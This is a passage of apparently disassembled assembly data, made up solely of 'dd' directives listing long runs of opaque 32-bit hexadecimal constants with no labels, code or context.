		dd 3114364h, 0F329A5EEh, 3FA8E97Dh, 0C707B526h,	0ED526238h
		dd 4E7965D5h, 0BFDE284Ah, 9936E06Ch, 7F26078Dh,	0B5A4CA3Ah
		dd 0BC75DADDh, 297310BFh, 4D91F726h, 77C10602h,	74835AE2h
		dd 0CF1A77E6h, 5BA9AA99h, 7A156A0Fh, 218679ECh,	0F994B378h
		dd 1F679B70h, 2E972011h, 0D66600C0h, 9EE8C257h,	273972A5h
		dd 5CE661E1h, 4D679130h, 15EA406Bh, 466546A6h, 0D444F58Dh
		dd 72D47033h, 28E36531h, 4102B27Fh, 0F582D18Eh,	5F250B8Ah
		dd 0D5BCF99h, 23A36D32h, 7A5842Ch, 7BFA7CC4h, 190BE759h
		dd 4CC31A0Fh, 0FF4915E6h, 3B2EF074h, 13F5C9h, 0E0681144h
		dd 0E2A9C760h, 0DE338287h, 89C294CDh, 0A44A4E5Dh, 0D6A4E4FEh
		dd 59EB5DDDh, 0C8060CE5h, 42928940h, 0F93437BFh, 511FD5D7h
		dd 83E737BDh, 530D7A26h, 87CA199Eh, 0CBA159CFh,	3CDF83A5h
		dd 9F2D8654h, 36888FECh, 845EBACCh, 8D526012h, 0E81E237Dh
		dd 3918C1Dh, 2C554D0Bh,	0BE3591C4h, 24967D37h, 0A2531519h
		dd 6E84704h, 82630086h,	0FA19378Fh, 72413272h, 200B8E21h
		dd 5CECF0C8h, 0F1A9BED1h, 7A18B961h, 0CF4978A6h, 0F41D0C31h
		dd 39D51A4Fh, 535C69A8h, 1D5BFDB9h, 6D9F9761h, 4B91F4F6h
		dd 83449E61h, 14E1DEBBh, 3AAD8AB8h, 0EB6C781Ch,	15BBDD21h
		dd 0DF6AE87Fh, 0AD6B3896h, 3287C2A1h, 0D2987C80h, 0E13E08CDh
		dd 0D05E8686h, 36B10632h, 5727F066h, 47C19F7Eh,	7E52119Ch
		dd 96F0241Dh, 0E2B9A36Ah, 5201D845h, 0A36DB88Ch, 0E304FD01h
		dd 0E539984Eh, 34D68213h, 94F77232h, 0A5CF73FBh, 3C1D9A02h
		dd 365B99D0h, 927071Fh,	2F13D9A3h, 0E7E1C338h, 22F6EE5Bh
		dd 555DFF8Dh, 0F94B35DAh, 149F94C3h, 0CE40FB88h, 0C42FEB6Fh
		dd 0E164BAD5h, 90FA1616h, 5881D4A4h, 0DB6E90A3h, 0A406323h
		dd 0EC69364Eh, 0B6CDA7E6h, 6E9B1663h, 0AE1588E3h, 90A8F0D1h
		dd 51AA4Fh, 8B665BB9h, 3E4098F0h, 3AFE5ACEh, 583FA766h
		dd 17DF9363h, 546F5264h, 620BAD50h, 66A1129Ch, 0E5143AFCh
		dd 0CB40338Eh, 11CA3676h, 9D387E67h, 56123F5Ah,	3EF85FD2h
		dd 36D6D43Fh, 0F9D6D050h, 70BECF34h, 49B308E3h,	65624AFh
		dd 0A4C887Ah, 0AB950966h, 8568C367h, 0E7E44BBCh, 80094921h
		dd 5EF97A5Dh, 84D8E8A2h, 9BFA16C5h, 548F877Dh, 0B627447Fh
		dd 461A747h, 0A48F7E70h, 7CF6220Bh, 4FC361FBh, 40C6DAD3h
		dd 2B53B0B3h, 93F53B78h, 2338CEE3h, 708485E5h, 0D11AEB88h
		dd 5362AB09h, 38CEDE2Ch, 4DBF68F9h, 39692C30h, 27D43777h
		dd 0A60DDCABh, 1D676EAFh
		dd 0D98D1A54h, 64974A8Fh, 0C6D9FB51h, 55218FECh, 2947EF75h
		dd 1EB486F6h, 43C4AC54h, 258BD716h, 0FBC616FEh,	0A9D72D2Ah
		dd 0C87B45C8h, 478802A0h, 0EB8650EFh, 9427E76h,	0BF9523D3h
		dd 6A16C9BAh, 73070F32h, 51BD0951h, 7E81D9D4h, 26A6A02Eh
		dd 8BB77CACh, 0F76BC925h, 0A2E48A0Bh, 0B310A613h, 2961E0Eh
		dd 509365E0h, 0EC2C4411h, 2D3F2F7Fh, 84C1EF79h,	183AC42Dh
		dd 1390FC09h, 6056CC77h, 0EFC3D302h, 0DEAB2959h, 224A0A57h
		dd 4D525B71h, 6CB9F079h, 3C4B3703h, 7732FC76h, 719F0961h
		dd 0A641C889h, 0B8E57BEFh, 41FC780Fh, 0F6EF7C47h, 5D259F43h
		dd 1F3BADF3h, 47A1F1Bh,	14BA5A13h, 7B3C2E2Eh, 0C4737326h
		dd 322DC79Dh, 5E58F25Fh, 0F0AF038Eh, 0E79E60B2h, 0E4A934E0h
		dd 0A95B86CBh, 0C997CF28h, 0BC101EB2h, 8BFB7E9Ch, 159BDD38h
		dd 41C44AAh, 4B7DE75Fh,	0D0658761h, 449009BBh, 8FCCDA01h
		dd 356DD1AEh, 6802A493h, 2A97628Fh, 0CBBDADCDh,	145E1B66h
		dd 0F6E2BA15h, 0BE82A55Eh, 32C9FB18h, 0E3B84B57h, 6214D4ACh
		dd 0F42D67ACh, 771346Ch, 0AA3D841Eh, 8EE7A17Fh,	272C5C47h
		dd 32B55759h, 8F7792A3h, 3E784468h, 9EF6A9CBh, 743181B1h
		dd 73AD451Ch, 653091D3h, 0C976BA58h, 0F936B50Fh, 3CB014A2h
		dd 75255B73h, 0B5901A5Fh, 0C88D176Fh, 6581E23Eh, 55E6646Eh
		dd 59BF6302h, 38584E8Ah, 8B64B098h, 0C504D993h,	97A39EE4h
		dd 0F2DB4930h, 8233C212h, 0BD95F958h, 8290B56Eh, 65C9F4C1h
		dd 0A6DC2743h, 2B52625h, 33A8A5AFh, 3EB9E3A3h, 0A75075DAh
		dd 52A00B39h, 0E8ABDBFDh, 0F0E00238h, 2FA8B24Eh, 1FB4F99Ah
		dd 64E48F9Dh, 4D2CDF4Bh, 3B190B7Bh, 0FCABFC36h,	0EC6FE1E6h
		dd 0EE43663Bh, 26DDA7F9h, 0C02933CEh, 7B1A7151h, 16F38F9Bh
		dd 6468E62Ah, 59AEA8AFh, 0ABC13CD8h, 0D928A95Bh, 30749D96h
		dd 61197DF6h, 64A16ACFh, 0A25C6711h, 54F02DDCh,	9F6C0E25h
		dd 7CA2BD24h, 331BEFA0h, 8DD342E5h, 0C7F89D28h,	1FC0C4AAh
		dd 6A94F6EAh, 0CC8C8986h, 921C3110h, 0D4AF780Ch, 79F9D6A3h
		dd 0EB6C2FF7h, 9D4DA74h, 39BB4BB5h, 0F6C5721Bh,	6224914Ch
		dd 84E64F85h, 0E933E267h, 7479FB2h, 0B7C96E7Ch,	0A1C9A853h
		dd 7C4F45A2h, 31FCE86Dh, 8EDC6322h, 0BBFAAFA0h,	7FE47Ch
		dd 13EE2895h, 9FE0DBFCh, 86A566A2h, 0BA0DD5C9h,	0B65B1E7h
		dd 1D639A81h, 4894D88Dh, 1852E7DFh, 0FFDB1ADFh,	8EFCFEF0h
		dd 463C164Eh, 69FF3831h, 1033D52Ah, 5183237Ah, 3C3AB514h
		dd 76B5B625h, 299B839h,	109352A7h, 184CC45h, 0ED528507h
		dd 57CA1B02h, 4F316584h, 2249B9D5h, 91FE52BAh, 0B719D01Fh
		dd 8AE29505h, 0F0FBEB6Dh, 0E357B474h, 7CB67B1Fh, 1F366DEh
		dd 21D5DCCAh, 57318B56h, 79B75372h, 57D364B4h, 97FA4967h
		dd 7984FDE2h, 8A4F8B09h, 83A22171h, 6193BB4Bh, 7C698B8Ch
		dd 0E8FC1BFDh, 5B617266h, 982DAC4Eh, 7785CB01h,	0BD3FC70Eh
		dd 9A630C35h, 9CE1D072h, 105E3B33h, 6CE25CD5h, 80D22EFBh
		dd 5FE1725h, 0F22D55DBh, 0A8EC6Ch, 0D2E8780h, 8D208415h
		dd 0E33E90A3h, 0A1B96E90h, 0CFF1F67Dh, 12347CA0h, 0CA8B561Bh
		dd 1E422351h, 725580D3h, 0D56C7895h, 0C1406614h, 0DF3AFEC2h
		dd 8053DB26h, 0FA92859Eh, 884A8478h, 0CD4408AEh, 4B9102F3h
		dd 924D755Fh, 2EDB63EBh, 1F9B9E59h, 4BB4694Bh, 447C2337h
		dd 2817DF3Eh, 0E2AD2C5Ch, 6B07569Bh, 1DF19446h,	55416F0Ch
		dd 0C8DF54BCh, 7D33030Bh, 61EF7E56h, 898C2776h,	0B89CA8CDh
		dd 3DF826ABh, 0EAFDBE79h, 46B08E0Ch, 500A20C4h,	0EDD3755Ch
		dd 85A78F46h, 0B1C5B7D9h, 0E30CA058h, 0DCE097E9h, 0A76F380Eh
		dd 9917D047h, 0C7B3690h, 0C577475Bh, 0DABB1396h, 0C90499E2h
		dd 0A43734E4h, 5943C411h, 80840CBh, 8E78F01Fh, 0AAE66FF4h
		dd 0D882E0A5h, 6D36DD8Ah, 4F3D6831h, 4D6D62F8h,	97441824h
		dd 0E0477B62h, 98A4263Eh, 6369FB36h, 331A2D33h,	79BACCFDh
		dd 0DC9EF35Bh, 7B329B06h, 0B658A825h, 67A08F26h, 0D7E11043h
		dd 103B56D8h, 15061563h, 74BBECF2h, 7B3A9CF8h, 0C730EC1h
		dd 0F3607833h, 0E18E75FBh, 0DD699D6Fh, 48F9ADC3h, 7B542B3Ch
		dd 2A8C1A8Ch, 86798233h, 0DDD33624h, 7225E328h,	6E2F480Eh
		dd 457FE0D9h, 8A67B9A8h, 190FFB81h, 0F2902079h,	8E9D0D9Fh
		dd 0F0B34BB9h, 655A113Eh, 0D02D7E30h, 0BEDCDF14h, 80DC15E2h
		dd 0FC21756Ch, 0F4AFE857h, 0F71C546Eh, 387F98ECh, 802154E7h
		dd 75489D8Bh, 79C53988h, 7AE44DF1h, 3B509938h, 0CB8301AEh
		dd 1D4CB4D9h, 5FC0899Eh, 2AAFB468h, 4B96733Bh, 3BBA20D0h
		dd 4A1CE54Dh, 239669DFh, 0CD212CADh, 0CD8F6C56h, 0B2870505h
		dd 8FA54940h, 4E6B5C0Dh, 0BC8FAD78h, 33D13017h,	0B2D53361h
		dd 0D37D89B5h, 6988048h, 4F0ADD3Ah, 6148A9B6h, 3A12B7E6h
		dd 55CD8187h, 0A273A957h, 0C7A14B36h, 5B4FF349h, 0C6C2E4CAh
		dd 0A84BF108h, 26549BFFh, 0B1CC78CBh, 7DC23476h, 57CE5D53h
		dd 166CD12Bh, 5EEA8924h, 0E7782D2Ah, 13EC680Dh,	0BB1A42F6h
		dd 1FEC03BFh, 37007D1h,	0B827923Ch, 0A5F7454Eh,	7EAE1FE3h
		dd 0D5B1B70Bh, 0C091A095h, 9ADC3892h, 0B58BF476h, 0F2E9FF3Ch
		dd 42B8FAE6h, 92E955E1h, 0A230042Ch, 91B3BF72h,	0CDBF98DDh
		dd 0A23BC8Ch, 9595E521h, 0FCE6AE9Eh, 4E75D8E9h,	0FAFE652Ah
		dd 0F2DEDA6Eh, 344DF017h, 86C7431Dh, 0EB232D53h, 0EC01CCFFh
		dd 0C1114D79h, 9E791E56h, 49F625D4h, 0FF795406h, 9DC5CD30h
		dd 9892D649h, 0A3DAA640h, 81D41C29h, 0B19DF5Ah,	964A709Eh
		dd 969B2239h, 86781D5Eh, 0EF006400h, 3ABE5DCBh,	0F9E92F69h
		dd 0B91DC096h, 0B4288ECAh, 0F96B39B4h, 84B310EAh, 0B7D0B3E1h
		dd 0A096E3A0h, 0A037CBD3h, 59E33CB1h, 0F7BA46B2h, 0AB426E95h
		dd 5269042Ch, 9C499779h, 5399EC80h, 0F6182F08h,	73E1999Eh
		dd 0FB713B3Dh, 0FC0C60D1h, 0F592197Bh, 0B10D1DCCh, 196E067Ch
		dd 9B285363h, 9941DDD0h, 1CCD7D31h, 0FE1951D6h,	0C57DC9CFh
		dd 0C01A5213h, 0F890E374h, 0DFD73C87h, 6BA049D9h, 4F9E6BAEh
		dd 61578945h, 0A85F9795h, 4F6447C8h, 0B7589D20h, 750A7D36h
		dd 7EE360F6h, 5F5B2865h, 9E158D6Dh, 2A9F60A6h, 0D5D087EBh
		dd 0A9C656DDh, 99211A31h, 0E6846220h, 0B7EF133Bh, 31497516h
		dd 6CFF5214h, 90C4C5D6h, 2BB7EA0Bh, 73B4AE5Bh, 388AFEDFh
		dd 0C023312Bh, 3464F59Fh, 0C5C2B2CBh, 0CDF0A78Eh, 5FD422AAh
		dd 54647411h, 10ACC8EBh, 43E54A11h, 0A7466D25h,	599BF260h
		dd 326024FAh, 84F6F232h, 0AB8CF29Ah, 0A87E7CB8h, 0CA22B3E1h
		dd 373EED9Eh, 0AE344A2Bh, 3FC48E2h, 9C76509Bh, 359C6C9Dh
		dd 0FFB5F21Ah, 0B1464D6Dh, 0B8034E6Eh, 90960489h, 1EBE4933h
		dd 0DA392A7Dh, 4DCCFB0Bh, 5D37844Ah, 0FCEF6DB1h, 231CDDA0h
		dd 67488CD7h, 8156295h,	0BBDE4353h, 1BF480F3h, 0B83F07F0h
		dd 0B9CCCBDEh, 800E1378h, 6CC488F6h, 2A1BC181h,	78E1BD0Ch
		dd 60616AB1h, 1F6E8457h, 1CC5C900h, 0EB7AD744h,	4229E8AAh
		dd 0D7BAD228h, 634B2569h, 0D85E8F9Bh, 6B7D2F6Fh, 4C97ADF6h
		dd 0FCA5186Fh, 44076615h, 0CE31C928h, 0D0F771ADh, 42BFA063h
		dd 4A28A752h, 0A2C60A9Eh, 8BA77235h, 2C2AAF72h,	0E0CC9533h
		dd 60A4276Ch, 0DF36C534h, 206BB98Ch, 0BD5EE2CFh, 6DB90DA6h
		dd 0B5B7C3C4h, 2795958Ch, 6DEE5B56h, 0C61B0879h, 60DF6A2Ch
		dd 0D0FB9ED9h, 4F32B6C4h
		dd 20F809D9h, 0FCBCDF75h, 9CB57C44h, 836A2739h,	0D8398003h
		dd 19D7C540h, 81079AD5h, 0CAEC5B8Dh, 57CA6571h,	0ABDAE12Dh
		dd 1ECA3327h, 0C55174A7h, 81FFC567h, 95F0CF5Bh,	0E439BDD2h
		dd 3EEF417Bh, 0CCAC8963h, 516343DCh, 7B171B50h,	0DF6EB172h
		dd 0BF800AEDh, 2FAB9D84h, 0A3779E0h, 0D95102CAh, 2BEFB5A7h
		dd 4E514EF3h, 897800Eh,	0FC83801Eh, 54B35A78h, 6AE0FC37h
		dd 9ECB19E1h, 8A401707h, 0D4163E15h, 0AC01B01Eh, 3624E685h
		dd 8F55ED52h, 20058F1Eh, 0A3264421h, 23CFEB48h,	526831ECh
		dd 0FF1AF5DCh, 0B9FDB434h, 0B731D4EFh, 6FE98207h, 5BA954B4h
		dd 40A141D2h, 0B6DA73DBh, 0E27FA444h, 5E5A97EAh, 9F5C0BA2h
		dd 0A8AD860Bh, 0D5443EF8h, 5F7E9FD5h, 8E02439Dh, 0F5C7E54h
		dd 8F212E07h, 802CF967h, 2CE0F2D1h, 0CE01A095h,	0E54A9CD5h
		dd 6B09B700h, 7064C7EDh, 793A59D2h, 87269522h, 0FC5B6B26h
		dd 109FF908h, 8402F023h, 3CF19C86h, 0DBBF8CB0h,	6B158EB5h
		dd 0C326B9C7h, 0AF972BA0h, 751E2A8Bh, 57D48604h, 0B8FAF5A4h
		dd 8CA67BBFh, 9E98203Fh, 0FD55D960h, 0F1737D49h, 57E12D26h
		dd 14A164D3h, 0C3BED659h, 6AF08595h, 0FB0BBED2h, 0A6B2BB4Eh
		dd 77CE57BCh, 0AD4B86F1h, 0B7EE24h, 0EC2659EEh,	356C8FE5h
		dd 893022A9h, 846E06D6h, 6F0A80D8h, 38FD86EAh, 4AF26551h
		dd 33E0775Ch, 3C3ABEE3h, 0A37212D0h, 79C0CEEh, 0BBAF9A67h
		dd 1ABE134Ah, 0F23D4F91h, 69998C5Bh, 163995DFh,	0F25BEEB1h
		dd 546200A7h, 6267DC4Fh, 2FF26F43h, 28F5327Ah, 88B0FF33h
		dd 16E57E6h, 49B3741Eh,	6EE75651h, 0CE0AFB16h, 0F2B09420h
		dd 0C17717C4h, 5A05E5D2h, 6B6A520Dh, 0BDAB41B5h, 0F3CBC1C1h
		dd 6E11F256h, 979BB3E2h, 4CB2185Ch, 2D05DCDEh, 0C252E3C2h
		dd 22A97B50h, 2F50D3E1h, 0DBB74248h, 8FFC9CEBh,	37168E59h
		dd 5A4B33E7h, 40A82989h, 0D426B429h, 5C447506h,	48DF7A43h
		dd 592F7428h, 375EB5E2h, 0E34AD28Ch, 69FA7795h,	960FBADh
		dd 11CB4EC0h, 0E326E14Dh, 2759FF15h, 0FD237068h, 0FC970E00h
		dd 951456BFh, 0CA0B2BCh, 3C6A9F9Dh, 0ED9C7600h,	8D07CAF2h
		dd 1F92F210h, 0C5E3DB4Bh, 194C5F2Fh, 506C682Bh,	0F27F17BDh
		dd 817381D1h, 0F9DB243Fh, 0E7BDAC71h, 0C79C2559h, 44E6358Fh
		dd 8E65148Ch, 0D10B786Fh, 0A8B85248h, 0F23E2D11h, 5C985B66h
		dd 42133E8h, 69B0EBD8h,	9BFDC6C6h, 0A2B81B4Ah, 0E0A27228h
		dd 544E5D77h, 0BE05B927h, 7F418B40h, 967B12EAh,	0ED89040Dh
		dd 0CE28F794h, 62379072h, 0D008A7AEh, 0BC624C0h, 0FA93BF40h
		dd 4F0E9D8Ah, 70313987h, 2661D364h, 55A0C59Fh, 2C73ABA3h
		dd 362EC160h, 4FEDE9E2h, 91A9C65Dh, 9CCB5932h, 0AE6F0C3Fh
		dd 0EAE133DDh, 5140C53Dh, 0B634DE46h, 0E56308F6h, 5DF7CB7Dh
		dd 864061F2h, 3B677A28h, 0A9B5B645h, 0B45A63C4h, 53ECD933h
		dd 0B61FCC1Fh, 0AFFFA3A6h, 1672D686h, 512E7A65h, 0EA1BB9EDh
		dd 0C3A3C6D8h, 0A32FA184h, 0CEC79377h, 2283A5h,	18B2F4B9h
		dd 0C4968661h, 0A5FF0608h, 844C1FBEh, 0C323842Bh, 0E04BCFFFh
		dd 0EEB7EC01h, 514DB974h, 956313D6h, 789150AFh,	0DAD120h
		dd 5775BD42h, 0E410AC09h, 69807CA4h, 2DF0460Dh,	38C371D4h
		dd 49164D8Eh, 22B7ED28h, 82682402h, 0B4785080h,	5F14E3A6h
		dd 0BFA2C8FEh, 81F274B9h, 0F3CC249Ch, 2525B09Ah, 984F405Bh
		dd 6F72DF90h, 0B3E19274h, 39E7246Dh, 29F81D42h,	9CDD63D9h
		dd 683C5DBFh, 4CC0C792h, 0A98B60CCh, 1927FA6Bh,	0C72E6980h
		dd 915BAD54h, 2D99E6E0h, 1AC055FFh, 4AC95909h, 96BEA578h
		dd 79A073EBh, 0F9108493h, 3384A6C0h, 31C72877h,	237511CDh
		dd 58FB01C0h, 3666D6DCh, 0D830EF09h, 0ED43F92Dh, 599A7979h
		dd 33CFF7FFh, 0A28BD1D6h, 2E713DF2h, 0BE82CD58h, 0E457F403h
		dd 9F9DCD7h, 0C6702D1Ch, 2CA0A047h, 7FE6AA43h, 91380972h
		dd 17D5268Dh, 0E981A68Eh, 93120EC9h, 0D05560D7h, 6FDCE8CBh
		dd 4B263701h, 0F5FF0A2Fh, 5629E182h, 988FD25h, 6347D6BDh
		dd 2979841h, 80EDAEDEh,	246E3AA6h, 0EBA4DFD5h, 68559068h
		dd 0D7FD5DE5h, 6BF6FC6h, 1ECEA977h, 5144C210h, 0D2AA429Dh
		dd 0F07EA06Dh, 39A48747h, 87DEE24Dh, 1BAC596Ch,	0F7D31672h
		dd 8086884Eh, 670B6418h, 11ABCD52h, 48496A02h, 71CF4D92h
		dd 185EE4E3h, 65F6F47Ah, 0AEB36F02h, 5BF421E3h,	0E0FD1EFAh
		dd 2EE89EBAh, 89ED07EBh, 0A2DDB83Bh, 0E777FB86h, 3CB09C39h
		dd 0FC8F2CC9h, 8DDCF184h, 0F2C7CC51h, 3AEC9058h, 0C52DB404h
		dd 4CE9DFB7h, 0E6165A40h, 41B5BB9Bh, 0BDB41C24h, 0C480BB11h
		dd 0DF486745h, 8FDF0723h, 0AE7A54B1h, 972FC658h, 8115867Eh
		dd 319F4D52h, 0CA96E7FBh, 7ED13457h, 0A2A1CC6Bh, 0F5BA0A3Dh
		dd 0CA07AD1h, 0F9C78261h, 3B45B7BAh, 0CCAF95B9h, 371C2435h
		dd 345655D1h, 1271ED0Ah, 4C2835C6h, 51B37314h, 90AF6EA4h
		dd 48A3F95Bh, 5895CC94h, 78FE966Ch, 0EF3469B8h,	16E94433h
		dd 4F0EF0B7h, 0A5D3DFh,	9B26B4F6h, 7841AD7Bh, 0AEFC582Ah
		dd 5C708E63h, 1BF8F062h, 674557E0h, 0CCA83C9Ch,	7CA6C2E4h
		dd 0A6A60514h, 157277C8h, 0A0D82560h, 3F39D51Ch, 238EA448h
		dd 4CEBAE42h, 8DC93243h, 0E1C65AD9h, 890EECFBh,	7A3F238Fh
		dd 0D38B8BD8h, 0E055D468h, 335787FBh, 0CD32522Fh, 0BB990687h
		dd 0BB8D87DAh, 52450863h, 0E8323C95h, 225E0872h, 5C01066Ah
		dd 0ABDACBC3h, 346B8D54h, 0C6AFD29h, 1A301431h,	3686BDD3h
		dd 626E19CBh, 0F88F79D9h, 0AB3A7B73h, 950483C9h, 0ADF117B5h
		dd 0B120C644h, 0F3CDBB60h, 0E55FE3ABh, 0A74C02C7h, 0C2578B18h
		dd 9EEB7399h, 0FF4453F7h, 0DC8BC974h, 21238F82h, 0E5CB30Eh
		dd 674F7CD5h, 0D1B5FB94h, 531FEC7h, 4B46398Ah, 0BA0DD40Dh
		dd 0FCC563FEh, 0E72BB0CAh, 9158283Fh, 0F9F204Eh, 0A0C49FF6h
		dd 0EDA03630h, 98509F94h, 8ECB4610h, 0DF9FF63Ah, 5A505E0Bh
		dd 0F2D87331h, 97429526h, 0F2C171DEh, 34DEA88Ch, 51C10CF2h
		dd 71D91D3Ch, 9AB70018h, 0FDCAC31Bh, 463ACF4Dh,	0CA3E7BE5h
		dd 0FC2362F1h, 79F2DFC3h, 5C1047AAh, 44ABE7F6h,	74860F9Eh
		dd 8FAFF0F0h, 0EFBBB434h, 9A14C921h, 878DDE2Ch,	28477154h
		dd 5623EC91h, 11DBC009h, 3F7678A6h, 485C5C35h, 812DD0B4h
		dd 962180ECh, 0E8CCC3E7h, 548A4B13h, 0C5D83ADBh, 27DEE28Fh
		dd 0B4216C2Dh, 0B35B8F17h, 0E28674CBh, 6AF73337h, 0AA5DD18h
		dd 5D247F35h, 0A1341F53h, 0B8CD245h, 0EBDEC596h, 6C605B87h
		dd 839F4C96h, 0FEF9B3C6h, 1E3D00Eh, 755D953Fh, 6BC7DA6Eh
		dd 971369D0h, 0B9A573E7h, 0AA3F033Eh, 5797CB3h,	666570D6h
		dd 43AF1323h, 0EA152270h, 3B82AC12h, 608D3E8h, 0B0227E0Dh
		dd 0F3A4A4C5h, 45D59FFDh, 0BF40768Ah, 2970B3FEh, 0CD2F9BBEh
		dd 336F6E1h, 0CE27E964h, 0C768A3ECh, 9167A173h,	0A1643AFCh
		dd 81878FB4h, 5E5DE6E0h, 53647142h, 8A33965Fh, 47E5A889h
		dd 0DB5AFBDAh, 4E5D4385h, 42375296h, 9BB76B7Bh,	858DC761h
		dd 3C3BB1C9h, 65CA3D4Eh, 9EE8A6DEh, 8FE6D8B9h, 0A3A35E4Eh
		dd 84445AE5h, 684AD5ABh, 9AAD414Eh, 24075C1Eh, 0C5902B9Dh
		dd 0BE2DCBF1h, 0B153CDD2h, 0FC2D3678h, 6802D831h, 1517A8D5h
		dd 7415B32Ch, 630E4787h, 2B169B6Ah, 0BB7743B1h,	22B015EEh
		dd 0E9CA6727h, 0DDB1B438h, 4E9DED4Ah, 999CE8C1h, 149F0AB0h
		dd 658F5037h, 0D09B1C65h
		dd 0F16C0A62h, 2CE4AE6Ch, 79C8B758h, 9A0D92BEh,	0F770308h
		dd 0BBFE979Fh, 22AC57CAh, 0DE21934Fh, 4EEA1CFCh, 87FE394Ah
		dd 0C1C10E83h, 0BAF37E4Fh, 0D13B9AACh, 0DE5B68EDh, 0F3B65AB8h
		dd 7768703Ah, 3DEC65AAh, 687E7E05h, 694332E7h, 0A2198762h
		dd 0BDB53742h, 3480E04Eh, 0D09F3091h, 7F3D7DC7h, 0CD33696Ah
		dd 74EA353Eh, 0C6EC7C4Ch, 69EABEAFh, 8610C547h,	50E23D23h
		dd 0DACCA05Eh, 1F1BCE52h, 6E33D892h, 0A1267CFBh, 34EEE447h
		dd 0BB67DCF5h, 4181DD37h, 2AC723CDh, 7CEA76D2h,	2CA125C6h
		dd 832C7C3Dh, 9E2900C6h, 0CCD405E3h, 0A82EA357h, 49D1DF70h
		dd 82299527h, 0E8831F66h, 6496453Dh, 0E8AB6DE2h, 0C1129D3Dh
		dd 0C30E4A0Ch, 0DE1964CDh, 5F537393h, 11A5065Eh, 90BE72D2h
		dd 4CDE7C3Fh, 0BA24BB0Dh, 60D16738h, 89FA0958h,	6123548h
		dd 7439287Eh, 9E43400Eh, 2148867Ah, 84185CA5h, 3841E4D3h
		dd 2E8F00Bh, 0ABC3A0C1h, 734E8A68h, 176EEF66h, 9B075945h
		dd 72189C71h, 92FAC87Bh, 0FB07EF34h, 44AEF4B5h,	0AE569355h
		dd 5EF75796h, 137664A6h, 94E83146h, 0CEAD2AABh,	8C4432AAh
		dd 79F4FE58h, 38480453h, 3847917Eh, 7059A2EEh, 92995A30h
		dd 3242FE0Ch, 0E036E9EDh, 37C22BC7h, 9F1465F5h,	4B582472h
		dd 0A976E4B2h, 0A565C9EAh, 0A61CBFF6h, 0F734A896h, 36CB4E56h
		dd 0FC756ED9h, 2F802202h, 0A8D9558Eh, 17032FBBh, 9559866Eh
		dd 5C7DA717h, 8CD2C5C1h, 0CE67A524h, 0A12D3EF2h, 6BB08A9Eh
		dd 0E5BC143Bh, 0CF49878Fh, 849EF246h, 0F9D051E1h, 0CF217118h
		dd 0C8606798h, 0D2C5C8C1h, 77A0A01Ch, 2A6DBB29h, 5CA33AA5h
		dd 74FA4D39h, 2424DBh, 3498ECAEh, 0CDEFBDE5h, 4D08F874h
		dd 0EF181D73h, 84E7A369h, 0F9D520F7h, 55F4F51h,	305F0E3Fh
		dd 8A81B16h, 0A9C6179Ah, 27F39BF2h, 63EBECFAh, 8810C5EFh
		dd 0C8651BF6h, 852C5A22h, 0DCA1E630h, 0F78B9D4h, 2A9466EAh
		dd 7BCB9E1Fh, 8F9FCF77h, 0E5F3D5F1h, 4D44B3BCh,	0C78CB5F1h
		dd 0CD6EFC23h, 0E210B9h, 60B28C7Eh, 85E4FB5Ah, 4EDDB35Ah
		dd 909969FDh, 3758723Eh, 2EFBE1C9h, 586D9979h, 0B737F2BCh
		dd 6CFD4756h, 4A8764A1h, 828BBB2Bh, 34D62094h, 0BC6B0C41h
		dd 0CF9A72CDh, 877122Bh, 8E068Eh, 7EC9F8B9h, 5DDA6C57h
		dd 463AE99Ch, 0BD8B7A34h, 513892B1h, 671CE98h, 1CEF6E3Eh
		dd 0BF0AEC00h, 526394F7h, 0F203C2D9h, 34467699h, 0A780E57Bh
		dd 61C69455h, 0C1ED0C92h, 0B6494C34h, 0C0E0A4E3h, 7F920959h
		dd 92C8BBD2h, 0CE1FB253h, 0E7C10A5Ah, 0D70DDEE0h, 0A804600Dh
		dd 0C6250F38h, 0E018D3E8h, 9D3943B9h, 4393E6B8h, 0D160946Dh
		dd 0DD1ABAE0h, 18F86F44h, 237A1E82h, 0C39EB341h, 142BEE8Fh
		dd 0B7DFF44Dh, 0BEC6A0C4h, 50CF9EC6h, 0BAC118DEh, 0A1B85590h
		dd 0EE7F00B7h, 26EDDA7Dh, 8394880Ah, 147B9EC0h,	466EF922h
		dd 65163D90h, 6243D807h, 955173C8h, 0B2B686C4h,	94EA0C33h
		dd 0D74ABC6Ah, 8C584281h, 5D153CFFh, 0DFA260B2h, 253B09E6h
		dd 0D71CB18Dh, 9B09E827h, 2FA70580h, 0BEA3A641h, 2B9D48E8h
		dd 0A294E28Eh, 0C1EA2493h, 36E6686h, 38333C09h,	0BC757147h
		dd 71FE48C6h, 40D45E0Ah, 0D67477CCh, 0F6F969DBh, 256EC34Eh
		dd 0DE5B89DCh, 0BCA2528Bh, 0D76E6F13h, 1447102Eh, 6BB44290h
		dd 0B7E054FBh, 602C73FFh, 353447A6h, 0AEC9B9A6h, 94FEC227h
		dd 0CFAA67D6h, 0BE94EE28h, 81CD64D0h, 9B660CE0h, 949859BFh
		dd 14A4C702h, 38CB91Ah,	785992AAh, 0F8F6F74Bh, 36B0CFDBh
		dd 446B38DBh, 0E7F920FEh, 0DDB7BAB3h, 61F1C7C5h, 3EA9A932h
		dd 64A573BCh, 0B5C160FFh, 744B3CC5h, 8DA3168Fh,	84E27F32h
		dd 0D536B84Fh, 2FE1F80Bh, 0ADE4DCC0h, 0B0E177Fh, 6D34ADD9h
		dd 8D909790h, 9607C2F7h, 52B67FF3h, 1F40418Ch, 3FDA44AEh
		dd 0D1CA8B45h, 2A7E5DF0h, 0F862ECFFh, 0FCB57D22h, 4D60AE23h
		dd 2DAE3045h, 0F59EAABBh, 0AF9E0532h, 0D58A4A70h, 13440D02h
		dd 0ADB2E722h, 4557CECFh, 0EC4D2B77h, 4CB81331h, 6DE43FCh
		dd 63C8BEFCh, 42B09F94h, 0AF0D0249h, 0AC04B83Fh, 0AD048383h
		dd 3A900E9Fh, 75721167h, 0A8DAB048h, 19801661h,	0E3BCAC0Eh
		dd 64D91DE8h, 0E594931Dh, 0FE30BDECh, 59BF2146h, 5742E327h
		dd 0D11C57Fh, 0E852CAF2h, 0AEA77EE0h, 8507B84Fh, 0C91C28B9h
		dd 0BB0F0B1h, 873BD872h, 53A23809h, 0AB8414FCh,	4CB7ADCh
		dd 0BBA383BDh, 0EC1FC504h, 0EEB051D0h, 50EB1BD1h, 2D9555B4h
		dd 0F7653F13h, 55163095h, 0D66C8DC3h, 0D2AB422Ah, 0E519F969h
		dd 0AB17EC36h, 72C6A476h, 0ECB09640h, 0D37CAD47h, 1F88D793h
